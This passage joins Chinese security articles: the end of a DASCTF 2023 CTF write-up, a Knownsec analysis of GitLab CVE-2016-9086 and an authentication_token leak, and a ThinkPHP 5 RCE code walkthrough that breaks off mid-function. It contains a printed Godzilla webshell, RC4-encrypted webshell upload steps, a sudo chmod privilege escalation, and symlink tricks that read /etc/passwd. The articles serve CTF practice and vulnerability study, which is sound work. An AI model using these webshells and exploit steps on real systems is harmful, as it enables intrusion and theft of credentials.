> for i in raw:
> ret += chr(0x0100+ord(i))
> return ret
>
> payload = payload_encode(payload)
>
> print(payload)
> r = requests.get('http://xxxx/curl?q=' + urllib.parse.quote(payload))
> print(r.text)
>
>
> 其实可以把长度再算算的，摸了（
>
> 编码也可以用下面这样而不必把字母数字那些 ASCII 改了
>
>
> payload = payload.replace('\r\n', '\u010d\u010a') \
> .replace('+', '\u012b') \
> .replace(' ', '\u0120') \
> .replace('"', '\u0122') \
> .replace("'", '\u0a27') \
> .replace('[', '\u015b') \
> .replace(']', '\u015d') \
> .replace('`', '\u0127')
>
>
> [NodeJS 中 Unicode 字符损坏导致的 HTTP
> 拆分攻击](https://www.anquanke.com/post/id/241429)
>
> [关于Prototype Pollution Attack的二三事](https://xz.aliyun.com/t/12053)
### unusual php
> 搞点不一样的php
<?php
if($_GET["a"]=="upload"){
move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
phpinfo();
}
读 `/index.php` 发现是一团乱码，盲猜用了啥解析引擎之类的东西
插件目录 `/usr/local/lib/php/extensions/no-debug-non-zts-20190902`
读 `/usr/local/lib/php.ini`
得到扩展路径
curl "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/index.php?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so" > zend_test.so
读回来然后把无关的去掉，再丢进 ida
看起来解析的时候用 `abcsdfadfjiweur` 作为 key 然后 RC4 解密然后当成 php 去执行
把拿下来的 index.php 看看
于是我们传个 RC4 加密后的一句话马上去就好
473xeG4d+1FXOOiInKCC2LdFHDRL3s5i4ZuTj9iuNY0O83HcUA==
base64 decode （或者 output format 选 latin1 然后 save 到文件也行）
然后整个表单 multipart/form-data 传上去
<form action="/?a=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
然后访问
/upload/miaotony.php?miaotony=system('ls -al /');
这里复现环境有人打过了，原来的话这里是没权限读 flag 的
然后 `/etc/sudoers` 不可读，但是有个 `sudoers.bak`
当前的 www-data 用户可以免密执行 chmod，那直接
sudo chmod 777 /flag
cat /flag
> 复现的过程中发现一个问题，如果用 burpsuite 传二进制文件的话，可能会丢东西。。
>
> 解析不出来的话会报错 **Fatal error** : file can't parse in **Unknown** on line **0**
>
> 调了老半天才发现是这个问题，坑死了！
>
>
>
>
>
>
>
> 但是喵喵这个 burpsuite 版本有点老了，不知道新版的还有没有这个问题了（
## Misc
### 签到题喵
转 hex 得到提示，给公众号发 西湖论剑2023我来了！
### mp3
> 看起来很正常的mp3文件
文件末尾拼接了张图片，提取出来
这个也不是二维码，大概率就是黑白转 01 了，随便写个脚本处理下
import cv2
img = cv2.imread("1.png", cv2.IMREAD_GRAYSCALE)
data = ''
for i in range(img.shape[0]):
for j in range(img.shape[1]):
if img[i,j] >= 128:
data += '0'
else:
data += '1'
print(data)
然后得到一个 zip
需要密码，然后再看 mp3，拿 MP3Stego 解密一下，试了下密码为空
Decode.exe -X cipher.mp3
就能出来个 ASCII 字符串
8750d5109208213f
解压 zip
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj
好多重复的字符，根据文件名提示盲猜是 ROT47
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();
直接控制台执行得到 flag
`DASCTF{f8097257d699d7fdba7e97a15c4f94b4}`
### take_the_zip_easy
> easy zip, easy flow
ZipCrypto Store/Deflate，bkcrack 爆破解压缩包，然后拿密钥把文件提取出来
$ echo -n dasflow.pcapng > plain.txt
$ ./bkcrack -C zipeasy.zip -c dasflow.zip -p plain.txt -o 30 -x 0 504B0304
bkcrack 1.5.0 - 2022-07-07
[16:37:53] Z reduction using 6 bytes of known plaintext
100.0 % (6 / 6)
[16:37:53] Attack on 1038290 Z values at index 37
Keys: 2b7d78f3 0ebcabad a069728c
67.7 % (703381 / 1038290)
[16:47:34] Keys
2b7d78f3 0ebcabad a069728c
$ ./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
bkcrack 1.5.0 - 2022-07-07
[16:53:57] Writing deciphered data dasflow.zip (maybe compressed)
Wrote deciphered data.
解压看下 http
form-data 是上传木马，后面的 eval.php 瞄了眼是哥斯拉流量
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
run 函数在哥斯拉马里，如果开启 gzip 的话，会把命令 gzdecode 然后执行的结果用 gzencode 做压缩
后面的流量里传了个 flag.zip，里面有 flag，但是有密码
那大概率之前的这几个 eval.php 流量是生成这个 zip 的，参数里就会有密码
air123=J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3
用上面的 key 和脚本解密一下
<?php
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$pass = 'air123';
$payloadName = 'payload';
$key = 'd8ea7326e6ec5916';
$postdata = "J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3";
$data = encode(base64_decode(urldecode($postdata)), $key);
// echo $data;
// echo "\n\n";
echo gzdecode($data);
得到
cmdLinePsh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P airDAS1231qaSW@" 2>&1
methodName
execCommand
所以密码就是 `airDAS1231qaSW@`，解压得到 flag
## Reverse
### Dual personality
#include <iostream>
int main()
{
unsigned char enc[0x100] = {0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA};
int key[] = {157, 68, 55, 181};
key[0] &= key[1];
key[1] |= key[2];
key[2] ^= key[3];
key[3] = ~key[3];
for (int i = 0; i < 32; i++)
enc[i] ^= key[i % 4];
unsigned long long *p2 = (unsigned long long*)enc;
p2[0] = (p2[0] >> 0xc) | (p2[0] << 0x34);
p2[1] = (p2[1] >> 0x22) | (p2[1] << 0x1e);
p2[2] = (p2[2] >> 0x38) | (p2[2] << 0x8);
p2[3] = (p2[3] >> 0xe) | (p2[3] << 0x32);
int *p1 = (int*)enc;
int secret = 0x5df966ae;
secret -= 0x21524111;
for (int i = 0; i < 8; i++)
{
int prev = secret;
secret ^= p1[i];
p1[i] -= prev;
}
printf("%s\n", enc);
return 0;
}
## 小结
怎么说呢，主要这次喵喵比较佛系，没好好打，18. 结束的比赛当天有点事 ~~_（摸鱼）_~~
下午快16.才开始看题，看到这么多题直接傻了（时长8h的比赛每一类都五六七道题也太多了吧）
比赛期间喵喵自己就做出了两道 web，然后开了两道 misc 都做到一半就结束了，唔（（（
队友的话，感觉加上喵喵总共也就4个人看题，我们这群鸽子没几个人有空，学弟那边大概率还是第一次打比较大的比赛，也没啥经验，感觉下次有机会有空的话得线下一起好好打才行，哈哈
* * *
BTW，看到 **有师傅整理了[复现环境](https://github.com/Randark-JMT/CTF_Archive/tree/main/2023%20xhlj)，[题目附件](https://github.com/Randark-JMT/CTF_Archive/releases/tag/2022-xhlj)，甚至还构建好 docker 镜像了**，好唉
有需要的师傅可以去复现下
就这样吧，喵呜喵呜喵
**师傅们欢迎来[咱博客](https://miaotony.xyz/?utm_source=xianzhi) 逛逛喵~**
_溜了溜了喵（_ | 社区文章 |
**Author:dawu,LG(知道创宇404安全实验室)**
**Data:2016-10-09**
## 0x00 漏洞概述
### 1.漏洞简介
[GitLab](https://about.gitlab.com/) 是一个利用Ruby on
Rails开发的开源应用程序，实现一个自托管的Git项目仓库，可通过Web界面进行访问公开的或者私人项目。近日研究者发现在其多个版本中存在[文件读取漏洞(CVE-2016-9086)](https://hackerone.com/reports/178152)
和
[任意用户authentication_token泄漏漏洞](https://hackerone.com/reports/158330)，攻击者可以通过这两个漏洞来获取管理员的权限，进而控制所有gitlab项目。
### 2.漏洞影响
#### 任意文件读取漏洞(CVE-2016-9086):
GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13
#### 任意用户authentication_token泄露漏洞：
Gitlab CE/EE versions 8.10.3-8.10.5
## 0x01 漏洞复现
### 1.环境搭建
sudo apt-get install curl openssh-server ca-certificates postfix
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash
sudo apt-get install gitlab-ce=8.10.3-ce.1 #版本为8.10.3是为了第二个任意用户authentication_token泄露导致
漏洞的复现
sudo gitlab-ctl reconfigure
安装完成后访问服务器80端口即可看到`GitLab`登录页面.
注：`8.9.0-8.13.0`版本的`gitlab`的项目导入功能需要管理员开启，`8.13.0`版本之后所有用户都可以使用导入功能。管理员可以访问<http://domain/admin/application_settings>
开启，开启之后用任意用户新建项目的时候，可以在`import project from`一项中看到`gitlab export`。
## 2.漏洞分析
### 任意文件读取漏洞(CVE-2016-9086)
从`8.9.0`版本开始，`GitLab`新增了导入导出项目的功能。
一个空的`gitlab`项目导出后结构如下：
其中`VERSION`文件内容为GitLab的导出模块的版本，`project.json`则包含了项目的配置文件。
当我们导入GitLab的导出文件的时候，GitLab会按照如下步骤处理： 1.服务器根据`VERSION`文件内容检测导出文件版本，如果版本符合，则导入。
2.服务器根据`Project.json`文件创建一个新的项目，并将对应的项目文件拷贝到服务器上对应的位置。
检测`VERSION`文件的代码位于：`/lib/gitlab/import_export/version_checker.rb`中：
...
def check!
version = File.open(version_file, &:readline)
verify_version!(version)
rescue => e
shared.error(e)
false
end
...
def verify_version!(version)
if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
true
end
end
...
我们可以看到这里的逻辑是读取`VERSION`文件的第一行赋值给变量`version`，然后检测`verison`与当前版本是否相同，相同返回`true`，不相同则返回错误信息(错误信息中包括变量`version`的值).
于是漏洞发现者`Jobert Abma`巧妙的使用了软链接来达到读取任意文件的目的。首先，我们给`VERSION`文件加上软链接并重新打包。
ln -sf /etc/passwd VERSION
tar zcf change_version.tar.gz ./
这样，读取`VERSION`文件的时候服务器就会根据软链接读取到`/etc/passwd`的第一行内容并赋值给`version`。但是由于`version`与当前版本不相同，所以会输出`version`的值，也就是`/etc/passwd`第一行的内容。
访问之前搭建好的GitLab服务器，创建一个新的项目，填写完项目名称后在`Import project from`一栏中选择`GitLab
export`，上传我们修改后的导入包，然后就可以看到`/etc/passwd`文件第一行
**但是，如果只读取任意文件的第一行，能做的事情还是太少了。漏洞发现者显然不满足这一结果，他继续找了下去.**
读取`Project.json`这一配置文件的代码位于：`/lib/gitlab/import_export/project_tree_restorer.rb`中：
...
def restore
json = IO.read(@path)
tree_hash = ActiveSupport::JSON.decode(json)
project_members = tree_hash.delete('project_members')
ActiveRecord::Base.no_touching do
create_relations
end
rescue => e
shared.error(e)
false
end
...
在这里，我们可以再次使用软链接使变量`json`获取到任意文件的内容，但是由于获取的文件不是`json`格式，无法`decode`，导致异常抛出，最终在前端显示出任意文件的内容。
添加软链接并打包:
ln -sf /etc/passwd project.json
tar zcf change_version.tar.gz ./
上传导出包，页面上显示的结果：
### 任意用户authentication_token泄露漏洞
#### 复现步骤为：
1.注册一个普通用户，创建一个新的项目
2.在项目的`member`选项中，添加管理员到项目中。
3.点击`edit project`,找到`Export project`部分，点击`Export
project`，等待几分钟去查看注册邮箱收到的下载地址或者刷新页面，点击`Download export`下载导出包。
4.导出包的`project.json`中已经含有了管理员的`authentication_token`。
得到`authentication_token`之后我们就可以通过`api`做管理员可以做的事情了，比如查看管理员所在的项目：
#### 分析原因：
我们在`\app\controllers\projects_controller.rb`中找到了`export`函数，这个函数被用来导出项目文件。
def export
@project.add_export_job(current_user: current_user)
redirect_to(
edit_project_path(@project),
notice: "Project export started. A download link will be sent by email."
)
end
往下跟`add_export_job()`,在`\app\models\project.rb`中：
def add_export_job(current_user:)
job_id = ProjectExportWorker.perform_async(current_user.id, self.id)
if job_id
Rails.logger.info "Export job started for project ID #{self.id} with job ID #{job_id}"
else
Rails.logger.error "Export job failed to start for project ID #{self.id}"
end
end
继续到`\app\workers\project_export_worker.rb`文件的`ProjectExportWorker.perform_async()`:
class ProjectExportWorker
include Sidekiq::Worker
sidekiq_options queue: :gitlab_shell, retry: 3
def perform(current_user_id, project_id)
current_user = User.find(current_user_id)
project = Project.find(project_id)
::Projects::ImportExport::ExportService.new(project, current_user).execute
end
end
这里我们可以看到`current`获取的是`User.find(current_user_id)`的内容，然后调用`::Projects::ImportExport::ExportService.new(project,
current_user).execute` 由于笔者之前没有接触过ruby，这里只好采用`gitlab-rails
console`来找到`User.find()`的值。可以看到，在`User.find()`中,存在`authentication_token`的值。
跟到`\app\services\project\import_export\export_service.rb`，这里执行`version_saver,
avatar_saver, project_tree_saver, uploads_saver, repo_saver,
wiki_repo_saver`这五个函数来写各种导出文件，其中`project_tree_saver()`负责导出`project.json`
module Projects
module ImportExport
class ExportService < BaseService
def execute(_options = {})
@shared = Gitlab::ImportExport::Shared.new(relative_path: File.join(project.path_with_namespace, 'work'))
save_all
end
private
def save_all
if [version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver].all?(&:save)
Gitlab::ImportExport::Saver.save(project: project, shared: @shared)
notify_success
else
cleanup_and_notify
end
end
def version_saver
...
end
end
end
跳过之后的几个繁琐的调用之后，执行了`lib/gitlab/import_export/json_hash_builder.rb`中的`create_model_value`函数。
# Constructs a new hash that will hold the configuration for that particular object
# It may include exceptions or other attribute detail configuration, parsed by +@attributes_finder+
#
# +current_key+ main model that will be a key in the hash
# +value+ existing model to be included in the hash
# +json_config_hash+ the original hash containing the root model
def create_model_value(current_key, value, json_config_hash)
parsed_hash = { include: value }
parse_hash(value, parsed_hash)
json_config_hash[current_key] = parsed_hash
end
# Calls attributes finder to parse the hash and add any attributes to it
#
# +value+ existing model to be included in the hash
# +parsed_hash+ the original hash
def parse_hash(value, parsed_hash)
@attributes_finder.parse(value) do |hash|
parsed_hash = { include: hash_or_merge(value, hash) }
end
end
这里出现了逻辑问题，由于`parsed_hash`这个变量不是全局变量，所以`create_model_value()`中执行`parse_hash()`时，`parse_hash()`中的`parsed_hash`被改变，但是`create_model_value()`函数中的`parsed_hash`不会变，这就造成了`parse_hash()`这个函数执行后`create_model_value()`中`parsed_hash`这个值并没有改变。因此最后导出的文件包含了`authentication_token`。
我们在`gitlab-rails
console`里展示了这两者的区别。当`value=user`的时候，`parsed_hash={:include=>:user}`，输出的结果如同图中的`user.as_json()`，会将所有内容输出，包括`authentication_token`。当`parsed_hash`为经过`parse_hash()`处理后的`{:include=>{:user=>{:only=>[:id,
:email, :username]}}}`时，输出结果与`user.as_json(only: [:id, :email, :username])`相同。
### 后续RCE方式的探讨
在[hackone的两个报告](https://hackerone.com/reports/178152)中，漏洞发现者都提到了`leads to
RCE`，笔者尝试去实现这一点。由于`GitLab`源码在`gitlab.com`上，所以当获取了`GitLab`的管理员权限后，我们可以通过`authentication_token`修改`GitLab`项目的源码，留下自己的后门。
为了重现这种情况，我们在本地新建一个新的项目去通过`authentication_token`和`GitLab api`来修改项目文件。
用`root`账户创建一个项目:`test_rce`，其中`README.md`的内容为`created by
root`接下来，我们要用`gitlab`的`api`来修改它。首先，根据`projects的api`找到`test_rce`项目对应的`id`，这里是18
curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects"
我们再根据`api`读取一下文件
curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects/18/repository/files?file_path=README.md&ref=master"
这里，`content`为`Y3JlYXRlZCBieSByb290`，这是文件内容被`base64`加密后的结果，解密一下就可以看到`created by
root`
根据`api`的要求，我们通过`PUT`数据来修改文件，将`README.md`修改为`change by notroot`。
当我们再读一次，`content`内容为：`Y2hhbmdlIGJ5IG5vdHJvb3Q=`，解码之后就是`change by notroot`
不得不说，笔者所实现的这种方式攻击时间跨度很长，能否执行命令取决于开发者下一次更新的时间，这也是这种方法的缺点之一。
## 0x02 官方修复分析
### 任意文件读取漏洞(CVE-2016-9086)修复分析
我们可以看到，官方先移除了导入包里的软连接，其次，读取`VERSION`的内容和`project.json`的内容出错后将内容输出到日志里而非返回到前端。
#### 任意用户authentication_token泄露漏洞修复分析
官方让`json_config_hash[current_key]`获取到`parse_hash()`处理后的值。
## 0x03 参考
* <https://www.seebug.org/vuldb/ssvid-92529>
* <https://www.seebug.org/vuldb/ssvid-92516>
* <https://hackerone.com/reports/178152>
* <https://hackerone.com/reports/158330>
* <https://github.com/gitlabhq/gitlabhq/commit/912e1ff4284eb39fe020b8e823085a2cb7f244fb>
* <https://github.com/gitlabhq/gitlabhq/commit/4389f09e668c043c8a347c4c63f06795110dfbb3#diff-b10a896b29121489e3b2fb396bc53d8a>
* <https://gitlab.com/gitlab-org/gitlab-ce/issues/20802>
* <https://gitlab.com/help/user/project/settings/import_export.md>
* <https://docs.gitlab.com/ce/api/> | 社区文章 |
**作者：启明星辰ADLab
公众号：[ADLab](https://mp.weixin.qq.com/s/XBcoT5ypV2cJ-Q09RS8JRA "ADLab")**
### 漏洞介绍
2018年12月9日，ThinkPHP团队发布了一个补丁更新，修复了一处由于路由解析缺陷导致的代码执行漏洞。该漏洞危害程度非常高，默认环境配置即可导致远程代码执行。经过启明星辰ADLab安全研究员对ThinkPHP的56个小版本的源码分析和验证，确定具体受影响的版本为:
* ThinkPHP 5.0.5-5.0.22
* ThinkPHP 5.1.0-5.1.30
### 漏洞复现
本地环境采用ThinkPHP 5.1.29+PHP7+Apache进行复现。安装环境后直接访问POC给定的URL即可执行phpinfo()，如图所示：
### 漏洞分析
以5.1.29版本进行分析，首先看取路由的函数pathinfo：
library/think/Request.php:678
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} elseif ('cli-server' == PHP_SAPI) {
$pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
} elseif ($this->server('PATH_INFO')) {
$pathinfo = $this->server('PATH_INFO');
}
// 分析PATHINFO信息
if (!isset($pathinfo)) {
foreach ($this->config['pathinfo_fetch'] as $type) {
if ($this->server($type)) {
$pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
break;
}
}
}
$this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
}
return $this->pathinfo;
}
该路由函数中`$this->config['var_pathinfo']`是配置文件的默认值，其初始化代码如下，值为’s’:
当请求报文包含`$_GET['s']`，就取其值作为pathinfo，并返回pathinfo给调用函数。
分析发现pathinfo函数被`library/think/Request.php:716`中的path函数调用：
public function path()
{
if (is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
显然，这里`$this->path`源自pathinfo，因此可以被攻击者控制。继续分析该变量的传递，在`library/think/App.php:597`中被引用：
//public function routecheck()
$path = $this->request->path();
// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');
// 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must);
if (!empty($routeKey)) {
try {
if ($option) {
$this->cache->connect($option)->tag('route_cache')->set($routeKey, $dispatch);
} else {
$this->cache->tag('route_cache')->set($routeKey, $dispatch);
}
} catch (\Exception $e) {
// 存在闭包的时候缓存无效
}
}
return $dispatch;
这里是进行路由检测，攻击者可控的$path被传递给了如下的check函数：
public function check($url, $must = false)
{
// 自动检测域名路由
$domain = $this->checkDomain();
$url = str_replace($this->config['pathinfo_depr'], '|', $url);
$completeMatch = $this->config['route_complete_match'];
$result = $domain->check($this->request, $url, $completeMatch);
if (false === $result && !empty($this->cross)) {
// 检测跨域路由
$result = $this->cross->check($this->request, $url, $completeMatch);
}
if (false !== $result) {
// 路由匹配
return $result;
} elseif ($must) {
// 强制路由不匹配则抛出异常
throw new RouteNotFoundException();
}
// 默认路由解析
return new UrlDispatch($this->request, $this->group, $url, [
'auto_search' => $this->autoSearchController,
]);
}
分析代码可知，如果开启了强制路由则会抛出异常， **也就是官方所说的该漏洞在开启强制路由的情况下不受影响（默认不开启）。**
Check函数最后实例化一个UrlDispatch对象，将$url传递给了构造函数。继续分析UrlDispatch的父类也就是Dispatch类的构造函数：
library/think/route/Dispatch.php:64
public function __construct(Request $request, Rule $rule, $dispatch, $param = [], $code = null)
{
$this->request = $request;
$this->rule = $rule;
$this->app = Container::get('app');
$this->dispatch = $dispatch;
$this->param = $param;
$this->code = $code;
if (isset($param['convert'])) {
$this->convert = $param['convert'];
}
}
`$dispatch`变量可控并赋值给了`$this->dispatch`，经过多次函数调用返回，最后如下的Url类的init
函数将会被调用来处理`$this->dispatch`。
class Url extends Dispatch
{
public function init()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);
return (new Module($this->request, $this->rule, $result))->init();
}
public function exec()
{}
这里调用parseUrl对`$this->dispatch`进行解析，这是该漏洞的核心点之一：
protected function parseUrl($url)
{
$depr = $this->rule->getConfig('pathinfo_depr');
$bind = $this->rule->getRouter()->getBind();
if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) {
$bind = str_replace('/', $depr, $bind);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
list($path, $var) = $this->rule->parseUrlPath($url);
if (empty($path)) {
这里调用parseUrlPath函数对`$url`进行解析，继续分析该函数：
public function parseUrlPath($url)
{
....
....
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} elseif (false !== strpos($url, '=')) {
// 参数1=值1&参数2=值2...
$path = [];
parse_str($url, $var);
} else {
$path = [$url];
}
return [$path, $var];
}
显然，url分割形成一个数组存到$path变量中并返回到调用者。
继续分析封装路由的代码:
library/think/route/dispatch/Url.php:48
list($path, $var) = $this->rule->parseUrlPath($url);
...
...
// 解析模块
$module = $this->rule->getConfig('app_multi_module') ? array_shift($path) : null;
if ($this->param['auto_search']) {
$controller = $this->autoFindController($module, $path);
} else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
...
...
// 设置当前请求的参数
$this->request->setRouteVars($var);
// 封装路由
$route = [$module, $controller, $action];
return $route;
路由封装返回到`library/think/route/dispatch/Url.php:20`
class Url extends Dispatch
{
public function init()
{
// 解析默认的URL规则
$result = $this->parseUrl($this->dispatch);
return (new Module($this->request, $this->rule, $result))->init();
}
`$result`就是封装好的路由数组，传递给了Module的构造函数。
由于Module也是继承自Dispatch类，直接看Dispatch的构造函数:
public function __construct(Request $request, Rule $rule, $dispatch, $param = [], $code = null)
{
$this->request = $request;
$this->rule = $rule;
$this->app = Container::get('app');
$this->dispatch = $dispatch;
$this->param = $param;
$this->code = $code;
if (isset($param['convert'])) {
$this->convert = $param['convert'];
}
}
`$result`赋值给了`$this->dispatch`。然后调用Module类的init函数：
public function init()
{
parent::init();
$result = $this->dispatch;
if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
...
...
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
}
...
...
// 模块初始化
if ($module && $available) {
// 初始化模块
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
}
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
这里存在第一个对$module的判断，需要让`$available`等于true，这就需要`is_dir($this->app->getAppPath()
. $module)`成立。 **官方demo给出的模块是index，而实际开发程序不一定存在该模块名，所以构造payload时这里是一个注意点。**
满足这个判断条件后，继续分析后续的控制流会进入如下module的exec函数：
library/think/route/dispatch/Module.php:80
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
